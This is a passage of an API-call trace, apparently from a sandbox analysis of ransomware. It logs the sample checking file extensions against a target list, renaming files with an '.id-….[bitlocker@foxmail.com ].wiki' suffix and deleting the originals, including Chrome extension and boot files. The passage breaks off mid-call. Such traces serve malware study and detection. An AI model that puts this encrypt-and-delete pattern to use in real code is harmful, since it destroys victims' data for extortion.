[0182.091] SetEndOfFile (hFile=0x1bc) returned 1 [0182.091] CloseHandle (hObject=0x1bc) returned 1 [0182.091] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0182.091] SetEndOfFile (hFile=0x11c) returned 1 [0182.092] CloseHandle (hObject=0x11c) returned 1 [0182.092] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0182.092] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js")) returned 1 [0182.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString=".doc") returned 4 [0182.093] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".docx") returned 5 [0182.093] lstrcmpiW (lpString1=".docx", lpString2="on.js") returned -1 [0182.093] lstrlenW (lpString=".pdf") returned 4 [0182.093] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".xls") returned 4 [0182.093] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".xlsx") returned 5 [0182.093] lstrcmpiW (lpString1=".xlsx", lpString2="on.js") returned -1 [0182.093] lstrlenW (lpString=".ppt") returned 4 [0182.093] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString=".zip") returned 4 [0182.093] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".rar") returned 4 [0182.093] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".bz2") returned 4 [0182.093] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString=".7z") returned 3 [0182.093] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString=".dbf") returned 4 [0182.093] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString=".1cd") returned 4 [0182.093] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString=".jpg") returned 4 [0182.093] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.094] lstrlenW (lpString=".doc") returned 4 [0182.094] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".docx") returned 5 [0182.094] lstrcmpiW (lpString1=".docx", lpString2="on.js") returned -1 [0182.094] lstrlenW (lpString=".pdf") returned 4 [0182.094] lstrcmpiW (lpString1=".pdf", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".xls") returned 4 [0182.094] lstrcmpiW (lpString1=".xls", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".xlsx") returned 5 [0182.094] lstrcmpiW (lpString1=".xlsx", lpString2="on.js") returned -1 [0182.094] lstrlenW (lpString=".ppt") returned 4 [0182.094] lstrcmpiW (lpString1=".ppt", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.094] lstrlenW (lpString=".zip") returned 4 [0182.094] lstrcmpiW (lpString1=".zip", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".rar") returned 4 [0182.094] lstrcmpiW (lpString1=".rar", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".bz2") returned 4 [0182.094] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".7z") returned 3 [0182.094] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0182.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.094] lstrlenW (lpString=".dbf") returned 4 [0182.094] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.094] lstrlenW (lpString=".1cd") returned 4 [0182.094] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 144 [0182.094] lstrlenW (lpString=".jpg") returned 4 [0182.094] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0182.094] lstrlenW (lpString=".id-") returned 4 [0182.094] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681558 | out: hHeap=0x630000) returned 1 [0182.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6aed40 | out: hHeap=0x630000) returned 1 [0182.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6effc0 | out: hHeap=0x630000) returned 1 [0182.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fffc8 | out: hHeap=0x630000) returned 1 [0182.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x39f0020 | out: hHeap=0x630000) returned 1 [0182.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681540 | out: hHeap=0x630000) returned 1 [0182.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0182.101] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x3bf5e50 [0182.101] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0182.101] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x3bf5e78 [0182.101] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.101] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.101] Wow64DisableWow64FsRedirection (in: OldValue=0x2edff58 | out: OldValue=0x2edff58*=0x1) returned 1 [0182.101] lstrlenW (lpString="kernel32.dll") returned 12 [0182.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5e78 | out: hHeap=0x630000) returned 1 [0182.101] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5e50 | out: hHeap=0x630000) returned 1 Thread: id = 338 os_tid = 0x7ac [0147.784] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x70ffd0 [0147.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b00048 [0147.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681600 [0147.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae1b8 [0147.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681618 [0147.785] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3c00020 [0147.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681630 [0147.786] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681630, Size=0x20) returned 0x69e6c0 [0147.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681630 [0147.786] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681630, Size=0x20) returned 0x69e670 [0147.786] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.786] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.786] Wow64DisableWow64FsRedirection (in: OldValue=0x301ff58 | out: OldValue=0x301ff58*=0x0) returned 1 [0147.786] lstrlenW (lpString="kernel32.dll") returned 12 [0147.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.786] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.786] Sleep (dwMilliseconds=0x64) [0147.950] lstrlenW (lpString="BCD") returned 3 [0147.950] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.950] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.950] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.950] lstrlenW (lpString=".doc") returned 4 [0147.950] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".docx") returned 5 [0147.950] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0147.950] lstrlenW (lpString=".pdf") returned 4 [0147.950] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".xls") returned 4 [0147.950] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".xlsx") returned 5 [0147.950] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0147.950] lstrlenW (lpString=".ppt") returned 4 [0147.950] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.950] lstrlenW (lpString=".zip") returned 4 [0147.950] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".rar") returned 4 [0147.950] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".bz2") returned 4 [0147.950] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString=".7z") returned 3 [0147.950] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0147.950] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.950] lstrlenW (lpString=".dbf") returned 4 [0147.950] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0147.950] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.950] lstrlenW (lpString=".1cd") returned 4 [0147.950] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString=".jpg") returned 4 [0147.951] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString=".doc") returned 4 [0147.951] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".docx") returned 5 [0147.951] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0147.951] lstrlenW (lpString=".pdf") returned 4 [0147.951] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".xls") returned 4 [0147.951] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".xlsx") returned 5 [0147.951] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0147.951] lstrlenW (lpString=".ppt") returned 4 [0147.951] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString=".zip") returned 4 [0147.951] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".rar") returned 4 [0147.951] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".bz2") returned 4 [0147.951] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString=".7z") returned 3 [0147.951] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString=".dbf") returned 4 [0147.951] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.951] lstrlenW (lpString=".1cd") returned 4 [0147.951] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0147.951] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0147.952] lstrlenW (lpString=".jpg") returned 4 [0147.952] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0147.952] lstrcmpiW (lpString1=".LOG1", lpString2=".wiki") returned -1 [0147.952] lstrlenW (lpString="BCD.LOG1") returned 8 [0147.952] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.953] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0147.953] CloseHandle (hObject=0x1c0) returned 1 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString=".doc") returned 4 [0147.954] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".docx") returned 5 [0147.954] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0147.954] lstrlenW (lpString=".pdf") returned 4 [0147.954] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".xls") returned 4 [0147.954] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".xlsx") returned 5 [0147.954] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0147.954] lstrlenW (lpString=".ppt") returned 4 [0147.954] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString=".zip") returned 4 [0147.954] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".rar") returned 4 [0147.954] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".bz2") returned 4 [0147.954] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString=".7z") returned 3 [0147.954] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString=".dbf") returned 4 [0147.954] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString=".1cd") returned 4 [0147.954] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0147.954] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.954] lstrlenW (lpString=".jpg") returned 4 [0147.954] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString=".doc") returned 4 [0147.955] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".docx") returned 5 [0147.955] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0147.955] lstrlenW (lpString=".pdf") returned 4 [0147.955] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".xls") returned 4 [0147.955] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".xlsx") returned 5 [0147.955] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0147.955] lstrlenW (lpString=".ppt") returned 4 [0147.955] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString=".zip") returned 4 [0147.955] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".rar") returned 4 [0147.955] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".bz2") returned 4 [0147.955] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString=".7z") returned 3 [0147.955] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString=".dbf") returned 4 [0147.955] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString=".1cd") returned 4 [0147.955] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0147.955] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0147.955] lstrlenW (lpString=".jpg") returned 4 [0147.955] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0147.956] lstrcmpiW (lpString1=".LOG2", lpString2=".wiki") returned -1 [0147.956] lstrlenW (lpString="BCD.LOG2") returned 8 [0147.956] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.956] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0147.956] CloseHandle (hObject=0x1c0) returned 1 [0147.956] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.956] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.956] lstrlenW (lpString=".doc") returned 4 [0147.956] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0147.956] lstrlenW (lpString=".docx") returned 5 [0147.956] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0147.956] lstrlenW (lpString=".pdf") returned 4 [0147.956] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0147.956] lstrlenW (lpString=".xls") returned 4 [0147.956] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0147.956] lstrlenW (lpString=".xlsx") returned 5 [0147.956] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0147.956] lstrlenW (lpString=".ppt") returned 4 [0147.957] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString=".zip") returned 4 [0147.957] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".rar") returned 4 [0147.957] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".bz2") returned 4 [0147.957] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".7z") returned 3 [0147.957] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString=".dbf") returned 4 [0147.957] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString=".1cd") returned 4 [0147.957] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString=".jpg") returned 4 [0147.957] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.957] lstrlenW (lpString=".doc") returned 4 [0147.957] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".docx") returned 5 [0147.957] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0147.957] lstrlenW (lpString=".pdf") returned 4 [0147.957] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".xls") returned 4 [0147.957] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0147.957] lstrlenW (lpString=".xlsx") returned 5 [0147.957] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0147.957] lstrlenW (lpString=".ppt") returned 4 [0147.957] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.958] lstrlenW (lpString=".zip") returned 4 [0147.958] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString=".rar") returned 4 [0147.958] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString=".bz2") returned 4 [0147.958] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString=".7z") returned 3 [0147.958] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0147.958] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.958] lstrlenW (lpString=".dbf") returned 4 [0147.958] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.958] lstrlenW (lpString=".1cd") returned 4 [0147.958] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0147.958] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0147.958] lstrlenW (lpString=".jpg") returned 4 [0147.958] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0147.958] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0147.958] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.958] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0147.959] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=89168) returned 1 [0147.959] CloseHandle (hObject=0x1c0) returned 1 [0147.959] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0147.959] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0147.959] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.959] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.959] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.959] lstrlenW (lpString=".doc") returned 4 [0147.959] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.959] lstrlenW (lpString=".docx") returned 5 [0147.959] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.959] lstrlenW (lpString=".pdf") returned 4 [0147.959] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.959] lstrlenW (lpString=".xls") returned 4 [0147.959] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.959] lstrlenW (lpString=".xlsx") returned 5 [0147.959] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.959] lstrlenW (lpString=".ppt") returned 4 [0147.959] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.959] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.959] lstrlenW (lpString=".zip") returned 4 [0147.959] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.959] lstrlenW (lpString=".rar") returned 4 [0147.959] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.959] lstrlenW (lpString=".bz2") returned 4 [0147.960] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.960] lstrlenW (lpString=".7z") returned 3 [0147.960] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString=".dbf") returned 4 [0147.960] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.960] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0147.960] lstrlenW (lpString=".1cd") returned 4 [0147.960] lstrcmpiW (lpString1=".1cd", 